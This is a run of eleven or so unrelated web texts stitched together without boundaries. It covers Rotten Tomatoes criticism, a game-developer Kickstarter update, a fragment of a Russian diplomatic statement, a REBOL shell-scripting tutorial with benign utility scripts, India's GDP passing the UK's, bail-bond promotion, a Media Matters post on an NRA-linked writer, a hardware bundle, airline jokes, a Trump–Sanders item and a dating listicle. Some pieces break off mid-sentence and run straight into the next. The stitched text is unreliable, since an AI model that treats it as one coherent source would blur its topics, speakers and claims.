Others have argued that filmmakers and studios have only themselves to blame if Rotten Tomatoes produces a bad score, as this only reflects a poor reception among film critics. As one independent film distributor marketing executive noted, "To me, it's a ridiculous argument that Rotten Tomatoes is the problem... make a good movie!".[37] ComScore's Paul Dergarabedian had similar comments, saying: "The best way for studios to combat the 'Rotten Tomatoes Effect' is to make better movies, plain and simple".[34]
Some studios have suggested embargoing or cancelling early critic screenings in a response to poor reviews prior to a film's release affecting pre-sales and opening weekend numbers.[33] In July 2017, Sony embargoed critic reviews for The Emoji Movie until mid-day the Thursday before its release. The film ended up with a 9% rating (including 0% after the first 25 reviews), but still opened to $24 million, on par with projections. Josh Greenstein, Sony Pictures President of Worldwide Marketing and Distribution, said: "The Emoji Movie was built for people under 18... so we wanted to give the movie its best chance. What other wide release with a score under 8 percent has opened north of $20 million? I don't think there is one". Conversely, Warner Bros. also did not do critic pre-screenings for The House, which ended up with a 16% rating, until the day of its release, but it still opened to just $8.7 million, the lowest of star Will Ferrell's career.[34]
That marketing tactic can backfire, and drew the vocal disgust of influential critics such as Roger Ebert, who was prone to derisively condemn such moves, with gestures such as "The Wagging Finger of Shame", on At the Movies.[38] Furthermore, the very nature of withholding reviews can draw early conclusions from the public that the film is of poor quality because of that marketing tactic.[39]
On February 26, 2019, in response to issues surrounding coordinated bombing of user reviews for several films prior to their release (most notably Captain Marvel), the site announced that user reviews would no longer be accepted until a film is publicly released. The site also announced plans to introduce a system for "verified" reviews, and that the "Want to See" statistic would now be expressed as a number so that it is not confused with the audience score.[40][41]
Criticism [ edit ]
Oversimplification [ edit ]
In January 2010, on the occasion of the 75th anniversary of the New York Film Critics Circle, its chairman Armond White cited Rotten Tomatoes in particular and film review aggregators in general as examples of how "the Internet takes revenge on individual expression". He said they work by "dumping reviewers onto one website and assigning spurious percentage-enthusiasm points to the discrete reviews". According to White, such websites "offer consensus as a substitute for assessment".[42]
Director and producer Brett Ratner has criticized the website for "reducing hundreds of reviews culled from print and online sources into a popularized aggregate score", and feels it is the "worst thing that we have in today's movie culture".[43] Writer Max Landis, following his film Victor Frankenstein receiving an approval rating of 24% on the site, wrote that the site "breaks down entire reviews into just the word 'yes' or 'no', making criticism binary in a destructive arbitrary way".[44]
Other [ edit ]
American director Martin Scorsese wrote a column in The Hollywood Reporter criticizing both Rotten Tomatoes and CinemaScore for promoting the idea that films like Mother! had to be "instantly liked" to be successful.[45]
While promoting the film Suffragette (which has a "fresh" rating[46]) in 2015, actress Meryl Streep accused Rotten Tomatoes of disproportionately representing the opinions of male film critics, resulting in a skewed ratio that adversely affected the commercial performances of female-driven movies. "I submit to you that men and women are not the same, they like different things", she said. "Sometimes they like the same thing, but sometimes their tastes diverge. If the Tomatometer is slighted so completely to one set of tastes that drives box office in the United States, absolutely."[47]
Rotten Tomatoes deliberately withheld the critic score for Justice League based on early reviews until the premiere of its See It/Skip It episode on the Thursday before its release. Some critics viewed the move as a ploy to promote the web series, but some argued that the move was a deliberate conflict of interest on account of Warner Bros.' ownership of the film and Rotten Tomatoes, and the tepid critical reception to the DC Extended Universe films, barring Wonder Woman.[48]
See also [ edit ]
References [ edit ]Hi backers,
Time for another update. Today we will give an overall update on the game design. First we will discuss what we learnt from preparing for the Gamescom demo and what changes we are making as a result. Next we will talk about our focus over the coming months, and then we will discuss specific design changes included crew management. Finally, we will discuss manufacturers with respect to lore and equipment.
On a side-note the vocal recordings for the soundtrack were completed last month. We caught some footage of the choir recording the Russian lyrics for the Mandate Main theme and uploaded it to our youtube channel a couple of weeks ago.
The crew management changes are highly relevant for the pledge tiers for “design an officer”, “design a captain” and “design a marine platoon”. The design documents for these pledges have been updated. CLICK HERE to review them. Our volunteer scribes are ready to assist and answer questions over on the forums.
Gamescom follow-up
The Gamescom Demo showcased a late game boarding action where the player leads eight squads of marines and attempts to take back a heavy cruiser. In case you did not read the previous update or forgot to watch the video itself then you can check it out below.
As part of our post mortem process after Gamescom we discussed that our current workflow for building the ship deck plans took too much time and was difficult to modify later. Keep in mind that with around 50 ships we have a lot of interiors to build. The process is prone to placement errors which can easily cause pathfinding glitches and issues. For away missions we have a different and much faster workflow. So we are now taking inspiration from this process and improving the workflow for building ship deck plans. It requires some rework but should pay huge dividends in the long run.
Another area where we need to focus is optimization and performance. Both the artificial intelligence solution from Apex Software (which we mentioned in Update #51) and our animation systems require optimization so boarding combat can run smoothly in parallel with space combat.
From a gameplay perspective the Gamescom demo also told us that having small rooms with only one door entrance makes the rooms have less value during boarding combat. While there is still value to blowing up consoles inside rooms (synergy with space combat) the rooms themselves are otherwise dead ends. The player is forced to use corridors exclusively to move squads around the ship and with lots of squads these areas become cramped. The art and design departments are currently rethinking and redesigning the role of rooms during boarding combat and our goals is to have more interconnected rooms. The deck plans should “make more sense” and there will be more obvious pros and cons when fighting in corridors or rooms.
Beyond implementing these changes and improvements our next goal is to bring the adventure mode and space combat up to the same quality as the Gamescom demo. We are first focusing on adventure mode as it is the hub from which all other content in our game is accessed. It is also where the impact of your victories in battle will be felt and seen. Currently we are working on the artificial intelligence for each of the factions as well as the Great Captains.
The Great Captains are NPCs who command their own ships, can perform missions on behalf of factions and level up. They may also have their own ambitions and goals which dictate their behaviour in the sandbox and can lead to either alliances or conflict. In many ways the Great Captains will mimic player behaviour and also play by the same rules as the player. This will create a more dynamic experience which we think adds an extra dimension to the sandbox. Conflict will be more personal and interesting as you interact with these Great Captains. Finally we are also implementing information warfare, of which the scanning feature is an important component since it plays a crucial role in both adventure mode, space combat and boarding combat.
Osmani 2.0
Before we continue we should make a note that we have spent some time to polish both the historical references and Napoleonic elements. One example here is the revised design for the Osmani armours. The original design had issues with the rig which caused animation problems.
Therefore we set out to redesign the Osmani armours and we cross-checked our lore documents for the Osmani faction. Now the Osmani armours are based on the historical Janissaries of the Ottoman Empire. If you google them then you will see some of our design inspirations.
Crew management
As you probably saw from our Gamescom developer video we have done some changes to crew management. Initially we were going with a hands-on approach where you would manage individual crew members and give orders to individual marines in boarding combat. However, while this approach works with a frigate with a low crew count later ships will have a much higher crew count. So over time (read: mid and late game stages) this hands-on approach starts to become impractical as you would spend more time proportionally to micro-manage your crew as the ship gets bigger.
With The Mandate we want to generate this command experience where you feel like Captain Picard or Admiral Adama. Neither of these two knew the first name of everybody serving under their command nor did they micro manage the daily routine of each member of their crew. But they were close to their command staff and other select officers so we decided to go back and take another look at how the crew is organized and try to find a solution that would scale better as the crew got larger.
Our solution involves organizing the crew into squads and officers. While your crew is on duty they are organized into squads. When your crew is off duty, however, individual squad members and officers will socialize and relax, and you may interact with them one at a time, hear their concerns and help them with problems.
As captain you can interact with your officers and they in turn interact with your squads (crew). This emulates the military chain of command and is in line with the command experience we pitched on Kickstarter and are still very much committed to make a reality.
Squads
A squad contains up to eight named crew members while an officer is an individual crew |
and reputation of the JIM and the FFM. The answer is simple. Indeed, Russia is concerned about the reputation of these mechanisms, trying to help them to overcome the systemic failures and shortcomings in their work, that prevent us from assessing the results of their work with respect and trust. These mechanisms are involved in a highly important and serious endeavor, and, therefore, must be on par with the tasks assigned to them. Their conclusions must be flawless. However, this has not been the case so far.
ANNEX:REBOL and the shell REBOL's expressive power shines when you see what can be accomplished with small amounts of code. The following article demonstrates the use of REBOL to develop useful shell scripts. Using REBOL you can enhance the capabilities of the shell with relatively little effort.
This document assumes you have some familiarity with REBOL and the unix shell. If you have more familiarity with REBOL than unix, or the other way around, you still may find this document informative, or hopefully interesting.
M a k i n g a R E B O L s h e l l s c r i p t
In order to turn a REBOL script into a general shell script, place the following "interpreter" line at the top of the script: #!/path/to/rebol -qs
Replace "/path/to/" with the path that leads to where REBOL is installed on your system. The interpreter line is the very first thing in the script, preceding the REBOL header which follows on the next line.
The flags "-qs" mean to run the script quiet (no banners are printed) and to run the script with out security. REBOL's default security level allows it to write and read stuff from the network as well as reading files, but REBOL will ask permission before writing files. However, when REBOL is running at the default security level with the -q flag, any attempt to write a file will cause the script to immediately quit. Therefore, lowering security on the interpreter line is necessary only if your script is going to write files. Keep in mind that ordinary shell scripts have no additional security measures built in at all! The examples included in this document specify the security lowering -s flag on the interpreter line only where necessary.
To finish turning a REBOL script into a usable shell script it must be executable and in your path. A convenient spot to put your scripts is in your personal bin/ directory off your home directory. You can check your PATH variable by doing "echo $PATH" to see that your bin/ directory is there. If it is not, you can add your bin/ directory to your path as follows.
Under bash flavors: export PATH=$HOME/bin/:$PATH
Under csh: setenv PATH=$HOME/bin/:$PATH
The above line can go in your shell init script (.login,.profile,.cshrc,.bash_rc, etc...) to make the change permanent. Finally, to make the script executable: chmod u+x ~/bin/script
Afterwards, you should be able to type the name of your script at the shell and REBOL will execute it.
In the examples below, we'll include the so called "interpreter" line pointing to /usr/local/bin/rebol and a small REBOL header.
S t r i p c o n t r o l - M s f r o m a l l f i l e s i n a d i r e c t o r y
I've seen hackers argue for days about the simplest way to strip the control-M's from text files that come from ms-dos. There are certainly various terse ways to do this using sed, awk, and tr, but here is how simple it is to do using REBOL:
#!/usr/local/bin/rebol -qs REBOL [Title: "Strip-Ms"] foreach file read change-dir system/options/path [ if not dir? file [write file read file] ]
REBOL writes out files in the your native operating system format, so by simply reading in a file and writing it out those obnoxious ms-dos control-Ms are taken care of. Presuming you installed the above script in your path, you would visit a directory containing text files from dos land and type in the name you gave your script (stripms perhaps?). Be a little careful to only do this in a directory with text files. To read and write binary files use READ/binary and WRITE/binary. This leads to an obvious improvement of the script: checking the suffixes of files before reading and writing them -- only doing so for ".txt" or ".r" files, etc..
Notice that the script used system/options/path to determine where to go. There are a few different paths found in REBOL's system object:
system/user/home -- user's home directory
system/script/path -- where the script is found
system/options/path -- where you were when you invoked the script
L o w e r c a s e a d i r e c t o r y o f f i l e s.
Sometimes you wind up with some disk or archive full of annoying all upper case filenames. It's a snap to lowercase the whole directory with REBOL: #!/usr/local/bin/rebol -qs REBOL [Title: "Lowercase em"] foreach file read change-dir system/options/path [rename file lowercase file]
The above script works a lot like the first script we looked at. The same approach works for many scripts that operate on the contents of a directory.
D u m p w e b p a g e t e x t a n d d a t a
Here's a small script to dump the plain text of a web page: #!/usr/local/bin/rebol -q REBOL [Title: "Dump Web"] parse load/markup to-url system/script/args [ some [tag! | set x string! (prin x)] ]
If you called this script "dweb", then you'd would invoke it from the command line like this: dweb http://www.rebol.com
Changing this script to print out the links on a web page is trivial: #!/usr/local/bin/rebol -q REBOL [Title: "Dump Web links"] parse load/markup to-url system/script/args [ some [set x tag! ( if x: find/tail x "a href=" [print trim/with form x {}] ) | string! ] ]
Call it dlink, and try it out: dlink http://slashdot.org
P a s s i n g a r g u m e n t s t o y o u r s c r i p t
Arguments you specify on the command line will be found in system/options/args. Here's a little script to help see what these all these path, home, and args are all about: #!/usr/local/bin/rebol -q REBOL [Title: "Rebol paths and args"] foreach item [ system/user/home system/script/path system/options/path system/options/args ][print [:item "==" mold item]]
Call the script "rargs" and put it in your bin/ directory. Change directories to /usr/local and type 'rargs foo bar'. You should see something like this: system/user/home == %/home/yourname/ system/script/path == %/home/yourname/bin/ system/options/path == %/usr/local/ system/options/args == "foo bar"
If no arguments were provided the args would be set to NONE. As you see, if you supply more than one argument, they'll actually come in as a single string. You can break strings up into separate pieces with this handy one liner: parse "foo bar" none == ["foo" "bar"]
A block containing each separate word is returned. Because the args can sometimes be NONE you have to check first before you try to split the args as a string: if not none? system/options/args [args: parse system/options/args none]
That's too much writing for my tastes, so you can get away with a little hack like this; parse any [system/options/args ""] none
In the example above, if system/options/args is NONE you'll end up parsing an empty string instead, yielding an empty block. No harm, no foul, however code that comes afterwards must deal with a possible empty block.
Note: command line arguments undergo shell expansion first, so REBOL shell scripts can be composed with other shell expressions. For instance, with the our rargs script from above, try these out: rargs * rargs $HOME rargs `ls /`
Q u i c k o n e l i n e r s
Occasionally there is a need to do a quick math calculation, or some fast string manipulation. REBOL allows you to do these sorts of one liners from the command line using the --do switch: rebol --do "print 2 * pi * 4"
But it is convenient to have that process shortened a little. Call the next script "reb": #!/usr/local/bin/rebol -qs REBOL [Title: "Reb"] random/seed now print do system/options/args
First, the random number generator is seeded as a convenience for when we want to use our mini REBOL expression evaluator to produce random items. Then our script merely DOes the arguments. Using "reb" at the command line we have many nice possibilities: reb "1 * 2" reb head reverse read %. reb pick x: read %. random length? x
You may ask what use is picking a random file? Perhaps each day 'xv' picks a random image from a directory and puts it on your root window, or perhaps you have a cron job that periodically changes your web pages. reb random 100 reb send friend@somewhere.com '"Hey!!"' 0
Or more complex expressions: reb "do fib: func [n m][if n > 50 [quit] fib m probe n + m] 0 1" reb "0.0.0.255 + read dns://yahoo.com" reb `find. | grep -c foo`" * 4"
The last example above would print 4 times the number of files found recursively from the present directory that contain the string "foo". Using shell quoting rules you can mix shell substitutions with other REBOL expressions to evaluate.
Much of the time the arguments can be provided as is, but sometimes they need to be quoted to avoid unwanted shell substitutions. Beyond the basic shell quoting rules, we also have to quote lines that contain dashes or pluses which normally signal command line flags for REBOL.
F R O M v i a p o p
Sometimes you are on a system that does not have mail delivered locally and can only be retrieved via pop. I've always been a big fan of the FROM command (FRM on some systems). FROM allows you to see a quick summary of your mail box, who each message is from and the subject line. If there's something interesting you might want to read your mail, otherwise you go on about what ever it is you were doing. Here is an example of doing a FROM through pop which also demonstrates how easy network protocols are to manipulate in REBOL: #!/usr/local/bin/rebol -q REBOL [Title: "POP FROM"] me: "account" pass: ask/hide "Password? " server: "pop.server.dom" pop: open rejoin [pop:// me ":" pass "@" server] forall pop [ message: import-email first pop print [index? pop message/from tab message/subject] ] close pop
This pop FROM script will first ask you for your password, hiding the keys you type. You COULD put your password right in the script, but that might not be too safe in a multiuser environment. Of course, you need to plug in your account and your pop server in the appropriate places.
If you have multiple pop accounts, it would be easy for this script to be changed to go FROM them all together.
F T P p u b l i c _ h t m l
In the same vein as the previous script, here is another network convenience script. While working on a web site, you have a local directory where you work on the source files. Periodically you make some changes to your local copies of the web site files and you want to get them up to the remote web server. No need to fire up some dedicated application to move those files over, just roll a quick little script that takes all the hassle out of it. #!/usr/local/bin/rebol -qs REBOL [Title: "to-web"] me: "account" pass: ask/hide "Password? " server: "ftp.server.dom" foreach file read change-dir system/options/path [ if not dir? file [ write/binary rejoin [ ftp:// me ":" pass "@" server "/public_html/" file ] read/binary probe file ] ]
The script is hard wired to upload every file in the directory you call it from to public_html/ on your remote server. Creating a recursive directory upload is also fairly easy.
If you end up getting network time outs using ftp, try adding the following line to the begining of your script: system/schemes/ftp/passive: true
Setting passive to true in REBOL's ftp scheme will turn on REBOL's ftp passive mode. In passive mode, REBOL will connect back to the ftp site for the data transmission, instead of the other way around as it normally goes. If you are behind a firewall, ftp servers will likely not be able to establish the data connection to you, and hence the timeouts.
A s i m p l e r e m i n d e r
Using REBOL/view it is a snap to create a quick and dirty reminder program: #!/usr/local/bin/rebol -q REBOL [Title: "Reminder"] if found? args: system/options/args [ set [time message] load/next args wait time view layout compose [ text red (copy message) font [size: 20] ] ]
Call the script "remind" and put it in bin/ directory. Here is an example of invoking the script remind 2 update the database &
Two seconds later your message should pop up on your screen. If you want to wait a few hours you'd specify the time in a REBOL's time format: remind 4:00:00 it is four hours later &
LOAD/next was used to extract the time value from from the first position in the arguments.
Q u i c k l y v i e w a n i m a g e
REBOL/view can display jpeg, gif and bmp files. With REBOL/view you can make a simple script to view an image. When you click on the image or hit space bar while having the window in focus, the window will close. #!/usr/local/bin/rebol -q REBOL [Title: "View an image"] change-dir system/options/path if found? args: system/options/args [ view layout [image (to-file args) #" " [quit]] ]
The #" " is the space character and it defines a shortcut for the image. Following the space character is a block that is executed when that shortcut is pressed or when the image is clicked. REBOL/view's layout dialect is a very simple way to create dynamic GUIs.
I called the above script "eye". Moving into a directory with an image file, the script is invoked like this: eye picture.jpg
As expected, the image pops up in a window.
T h a t's j u s t t h e b e g i n n i n g
These preceding little examples don't begin to scratch the surface of REBOL's capabilities. It is very easy to start building time saving REBOL scripts for the shell that make your life much easier.As Theresa May returned home from her unsuccessful visit to India, she would bear witness to another relegation for the UK: India’s economy will be larger than the UK’s, for the first time in more than 100 years. This dramatic shift has been driven by India’s rapid economic growth over the past 25 years as well as Britain's recent woes, particularly with the Brexit. Once expected to overtake the UK GDP in 2020, the surpasso has been accelerated by the nearly 20% decline in the value of the pound over the last 12 months, consequently UK’s 2016 GDP of GBP 1.87 trillion converts to $2.29 trillion at exchange rate of ~GBP 0.81 per $1, whereas India’s GDP of INR 153 trillion converts to $2.30 trillion at exchange rate of ~INR 66.6 per $1. Furthermore, this gap is expected to widen as India grows at 6 to 8% p.a. compared to UK’s growth of 1 to 2% p.a. until 2020, and likely beyond. Even if the currencies fluctuate that modify these figures to rough equality, the verdict is clear that India’s economy has surpassed that of the UK based on future growth prospects.
Watch On Forbes: Plastic Fantastic. Britain Unveils Polymer Banknotes
This marks a significant landmark in India’s economic history, whose story over the last 150 years can be split into three parts: a period of divergence, of relative stagnation and a period of convergence with respect to the economy of the UK. Divergence begins with the UK’s industrial revolution in the 18th century to India’s independence in 1947 when the UK’s growth significantly outpaced India’s. The period of stagnation extended from 1947 to 1991 where both India and the UK grew at roughly the same rate. This was despite India being independent, and was predominantly due to India’s misinformed choice of pursuing a closed, centrally planned, socialist economy. Convergence began in 1991, when India finally implemented market reforms, and continues to this day. During this period India has experienced much faster economic growth than the UK and has finally in 2016 overtaken it in absolute terms, although is still less than one-fifth that of the UK in per capita terms.
History teaches us that milestones are important, that they can help clarify and bring to light underlying long-term trends, as well as encourage people to shed their biases. Japan’s victory over Russia in 1905 is an illustrative example: The event helped break the conception of the inability of the East to militarily defeat a western power and also highlighted the economic rise of Japan that had gradually taken place over the second half of the 19th century. India’s overtaking of the UK’s GDP in 2016 could serve as a similar moment.
This surpasso has three important implications. First, it highlights India’s arrival on the global stage and a significant change in power dynamics between India and the west. The effects of this are already being witnessed in India’s repudiation of a trade deal with the UK, where it stood firm in its ask for more favorable immigration for Indian nationals. Another example is the failure of May to secure a meeting with the Tata Group, who has 4,000 British employees at a steel plant in Port Talbot, that could potentially be shut down. Second it should give India the ability to shed any residual notion of colonial inferiority and enable it to have a more open mindset and look at alternative nations to emulate. For example, India could increasingly look at China, a country of similar population and closer to India’s own cultural tradition, as a model for its own economic growth. Lastly, it should redouble India’s efforts towards furthering market reform given that India’s per capita GDP is still less than one-fifth that of the UK, highlighting the tremendous scope for further convergence.
1947 gave India agency to chart its own path; 1991 broke India out of its mold; and hopefully 2016 shall give India conviction and help it redouble its efforts towards convergence after celebrating a historic and emotional milestone of economically overtaking its former colonizer.Bail Bondsmen in the U.S.A.
Here we have created a complete list of bail bondsmen offices and related services. This website is in demand for emergencies all across America. Getting out of jail is much easier when using a bail bondsmen because the judge often demands a very large sum of money for the privelege of being set free. The bail bonds office will typically have friendly and extremely helpful employees that are on your side and will get you a reduced rate from what the judge has ordered, provided that you or a friend can come up with the money to pay the bond company. Some bail bondsmen are open 24 hours a day for your accommodation.
Benefits of Hiring a Local Bail Bonds Company
No one on this earth planet wants to call for bondsmen, but due to some situations they have to look at them. When you receive a call from your loved one at midnight informing you that he’s been arrested, you first want to know about how to arrange a bail.
However, if you are a rich person with loads of money, you don’t need to worry about the bail amount, but if you area person who is also dealing with several EMIs, you must have to think about it.
You aren’t supposed to arrange a big money within no time when an emergency occurs. But you needn’t worry at all as there are lots of bail bond agencies available to help you.
However, there’re different types of options available to choose from when it comes to availing services of bail bonds providers, but finding a right company is certainly the most essential task to accomplish.
National Vs Local
There are two types of options available to go with i.e. national level big companies and small-sized local companies. Going with a bigger agency mean you don’t need to worry about the amount of money.
It is true that big companies offer exclusive services, but it doesn’t mean that choosing a local bail bond agency is of no use.
Are you still confused? If yes, then you need to go through stated below benefits of availing the services of a local bail bond company.
Denver Bail Bonds
Bail bonds mobile AL
Customize Services
The first and certainly the most important benefit of choosing a local agency is that they offer you customize services. Unlike big companies, a small-sized local company never overlooks the requirements of its clients.
It is often seen that most of the contemporary individuals prefer going with a big company just because they have heard a lot about them through TV, newspaper and online ads, but it doesn’t mean that bigger is always better.
If you are looking for personal attention and a service designed keeping your requirements in mind, you need to look nowhere else but local bail bond companies.
Knowledge
Needless to say your neighbor is more able to understand your requirements than a friend residing miles away from you. This is another significant benefit that you can hope to be given by local agencies.
Choosing a local bail bond company means you will be able to receive knowledgeable services. Since a local company runs its business in a certain area, it is well-versed with the local system, judicial and professionals in the field.
It means that going with a local company means you will be able to avail high quality of services.
Personal Interaction
Instead of discussing your problem either over the phone or through online methods, it is still best to sit with a person and discuss your issues in a face-to-face interaction.
Going with a local bail bond agency means you will be able to discuss your problem with a person who can see you and feel you.
However, a few people may find it a useless point to consider, but choosing the right communication mode can change various things.Forbes Contributor's Latest Attack On Gun Safety Group Doesn't Mention He Works For The NRA September 25, 2014 2:33 PM EDT ››› Blog ›››››› TIMOTHY JOHNSON
Forbes contributor Frank Miniter published a lengthy column arguing that the gun safety initiatives of Everytown for Gun Safety and the group's founder Michael Bloomberg are "backfiring" without disclosing that he writes for Everytown's primary political opponent, the National Rifle Association. Bloomberg, the former mayor of New York City, has said he will spend at least $50 million supporting gun safety initiatives this year, including spending on the 2014 midterm elections.* Miniter's September 25 column offered myriad attacks on Bloomberg and Everytown. Many of the criticisms are in the form of quotations from thoroughly discredited gun researcher John Lott. ("I can't find a single study from Bloomberg's groups that aren't loaded with errors. They have an anti-gun agenda and will lie to achieve it.") Miniter also wrote, "On the pro-gun side most of the money is coming from the grassroots," and concluded, "Though there are wealthy individuals on the gun-rights side, it's not a stretch to say a few wealthy, out-of-touch billionaires are trying to disarm the people." (The NRA receives millions of dollars from gun manufacturers and other corporations and according to its latest tax documents operated on more than $250 million in revenue in 2012.)
Miniter also failed to disclose that he is the former executive editor and current field editor of American Hunter, an NRA magazine. Miniter last wrote for the NRA on September 22, contributing a column about deer hunting:
The broadside against Bloomberg and Everytown in Forbes comes just weeks after the NRA announced a campaign to intensify its attacks on the former New York City mayor.
On August 19, the NRA Institute for Legislative Action, the gun group's lobbying arm, launched a campaign "aimed at exposing Michael Bloomberg's anti-freedom agenda. The 'Meet the Real Michael Bloomberg' campaign kicks off with a national television advertisement titled 'Insult'. 'Insult' is the first in a series of ads that will expose Bloomberg's hypocrisy, arrogance and desire to tell the American people how to live their lives." The ad told viewers, "nobody insults your life like this guy, Michael Bloomberg, billionaire, elitist, hypocrite" and advanced the false notion that Bloomberg backs gun bans.
In the NRA-ILA press release, NRA top lobbyist Chris Cox claimed Bloomberg "has declared war on the NRA and our five million members," and promised to "expose Bloomberg as an arrogant hypocrite."
The NRA also launched MeetBloomberg.com, an anti-Bloomberg website that includes topics such as "Bloomberg's Web of Money":
Miniter has previously advanced the NRA's position without disclosing that he works for the gun group. While promoting his newly released book, which attempts to rewrite the NRA's refusal to participate in a meaningful dialogue on guns following the mass shootings at Sandy Hook Elementary School, Miniter appeared on NRA News without noting his American Hunter relationship. Miniter also published a December 2012 column for National Review Online that suggested the Obama administration should adopt the NRA's ideas after Sandy Hook, without disclosing his relationship with the gun group.
* This language has been updated for clarity.So this is interesting. Proving that yes, we can all just get along, AMD and Intel have teamed up to offer gamers a pretty sweet deal on a hardware and games bundle.
"Radeon has joined forces with Intel to serve up a compelling, limited time holiday bundle through Newegg that delivers the excellent power efficiency of Intel’s 6th Generation Core-i5 6600K CPU with the powerful, future-ready performance of the MSI Radeon RX 480 Armor 8GB OC (overclocked) video card," AMD's Jason Evangelho announced on the company's Radeon Technologies Group blog.
AMD is hoping to restore parity in the processor space when it releases its next-generation Zen architecture next year. If Zen had already launched, it would be tough to imagine AMD promoting a bundle with rival Intel, but it hasn't launched yet and so here we are.
The bundle sells for $450 and includes the CPU and graphics card mentioned above, along with two free games, Civilization 6 and Doom. If purchased separately, the tally would come to a few pennies shy of $620. The savings add up to about $170, plus there's a $15 mail-in-rebate available (courtesy of MSI), bring the total saved to $185.
Even without factoring in the games, the bundle saves buyers $50 upfront over buying the CPU and graphics card separately, plus another $15 when the mail-in-rebate arrives. So, it's a pretty good deal no matter how you slice it.
The deal runs until December 31. You can grab the bundle here.Now and then, airline attendants make an effort to make the in-flight safety presentation and their other announcements a bit more entertaining. Here are some of the better ones that are flying around the web:
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Pilot: "Folks, we have reached our cruising altitude now, so I am going to switch the seat belt sign off. Feel free to move about as you wish, but please stay inside the plane till we land. It's a bit cold outside, and if you walk on the wings it affects the flight pattern."
"Weather at our destination is 50 degrees with some broken clouds, but they'll try to have them fixed before we arrive. Thank you, and remember, nobody loves you or your money more than Southwest Airlines."
As the plane landed and was coming to a stop at Washington National, a lone voice came over the loudspeaker: "Whoa, big fella. Whoa!"
After a particularly rough landing during thunderstorms in Chicago, a flight attendant on a Northwest flight announced: "Please take care when opening the overhead compartments because, after a landing like that, sure as hell everything has shifted."
From a Southwest Airlines employee: "There may be 50 ways to leave your lover, but there are only 4 ways out of this airplane."
From a Southwest Airlines employee: "Welcome aboard Southwest Flight XXX to Chicago. To operate your seatbelt, insert the metal tab into the buckle, and pull tight. It works just like every other seatbelt and if you don't know how to operate one, you probably shouldn't be out in public unsupervised. In the event of a sudden loss of cabin pressure, oxygen masks will descend from the ceiling. Stop screaming, grab the mask, and pull it over your face. If you have a small child traveling with you, secure your mask before assisting with theirs. If you are traveling with two small children, decide now which one you love more."
After landing: "Thank you for flying Delta Business Express. We hope you enjoyed giving us the business as much as we enjoyed taking you for a ride."
"Your seat cushions can be used for flotation. In the event of an emergency water landing, please take them with our compliments."
"As you exit the plane, please make sure to gather all of your belongings. Anything left behind will be distributed evenly among the flight attendants. Please do not leave children or spouses."
After a real crusher of a landing in Phoenix, the flight attendant got on the PA and said, "Ladies and gentlemen, please remain in your seats until Captain Crash and the crew have brought the aircraft to a screeching halt up against the gate. And, once the tire smoke has cleared and the warning bells are silenced, we'll open the door and you can pick your way through the wreckage to the terminal."
"Last one off the plane must clean it."
From the pilot during his welcome message: "We are pleased to have some of the best flight attendants in the industry. Unfortunately none of them are on this flight."
This was overheard on an American Airlines flight into Amarillo, Texas, on a particularly windy and bumpy day. During the final approach, the captain was really having to fight it. After an extremely hard landing, the flight attendant came on the PA and announced, "Ladies and gentlemen, welcome to Amarillo. Please remain in your seats with your seatbelts fastened while the captain taxis what's left of our airplane to the gate!"
An airline pilot wrote that on this particular flight he had hammered his ship into the runway really hard. The airline had a policy which required the first officer to stand at the door while the passengers exited, smile, and give them a, "Thanks for flying XYZ airline." He said that in light of his bad landing, he had a hard time looking the passengers in the eye, thinking that someone would have a smart comment. Finally, everyone had gotten off except for this little old lady walking with a cane. She said, "Sonny, did we land or were we shot down?"
Another flight attendant's comment on a less than perfect landing: "We ask you to please remain seated as Captain Kangaroo bounces us to the terminal."
Part of a flight attendant's arrival announcement: "We'd like to thank you folks for flying with us today. And, the next time you get the insane urge to go blasting through the skies in a pressurized metal tube, we hope you'll think of us here at US Airways."
Looking for more fun? See some funny exchanges between pilots and air control operators.
You should follow me on twitter here.Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.) fired back at Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE after the brash GOP presidential nominee said Sanders "sold out" and abandoned his supporters.
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Trump has knocked Sanders since he endorsed Clinton. He took aim at the Vermont senator while he was speaking in Philadelphia, saying he "totally sold out to Crooked Hillary Clinton."
"All of that work, energy and money, and nothing to show for it! Waste of time," he added.
Bernie Sanders totally sold out to Crooked Hillary Clinton. All of that work, energy and money, and nothing to show for it! Waste of time. — Donald J. Trump (@realDonaldTrump) July 26, 2016
Sad to watch Bernie Sanders abandon his revolution. We welcome all voters who want to fix our rigged system and bring back our jobs. — Donald J. Trump (@realDonaldTrump) July 26, 2016
Trump has tried to play up frustration among progressive voters as Democrats try to project unity at their four-day event. He also said Monday that former Sanders backers were welcome to join his campaign.It is often said that figuring out women is close to impossible. All their signs are obvious but yet again unbelievably faint.
So, how do you know if she's into you? Here are a few signs to tell if that girl who melts your heart feels the same way about you...
1. Nothing is more important than you - She responds to your texts, Whatsapps messages, tweets, social-networking chats and emails in less than an hour. Your phone calls are never ignored without a long sorry message.
2. She repeats the phrase "Someone like you" - Either her description of Mr. Perfect is someone very similar to you or she just admits that she wants "someone like you" over and over again.
3. Her friends are now your friends - If a girl likes you, her friends know. Hence they try to add you on your social-networking page or meet you, but none of her girlfriends are ever allowed to carry on a conversation with you for more than five minutes.
4. She is always one step too close - Whether you're sitting at a restaurant or you're walking on the streets, she is always that one step too close with her hands brushing yours.
5. She is there for you no matter what - Doesn't matter if it's mid day or midnight, sober or drunk, if you call, she will answer and talk. She may have to sleep to look fresh for the biggest moment of her life tomorrow, but she'd rather be talking to you.
6 Your ex-girlfriends are her best and worst topics - She wants to know everything about your ex-girlfriend so she can determine what you like and don't. But she also tells you why you're so much better off without them and picks on them constantly.
7. Everything about you is a big deal - Be it your birthday, your parents' wedding anniversary or even a promotion at work, she is overjoyed for you. She always lets you know how your happiness makes her happy.
8. She always has a smile for you - When you're having an awfully bad day, she will do everything she can to make you smile. She will not rest until she knows you're OK.
9. She makes sure everything is perfect - If you make plans to meet, she re-confirms thrice because she wants to know for sure you'll be there. When she shows up five minutes early, she'll be dressed to perfection. Even if you're meeting her at 2 in the morning, she'll make an effort to look good for you.
10. She has her jealous moment
- If you tell her about this girl you believe is pretty, you will find an obvious change in her tone. She will then proceed to give you an hour's lecture about anything and everything she can find wrong in that girl.
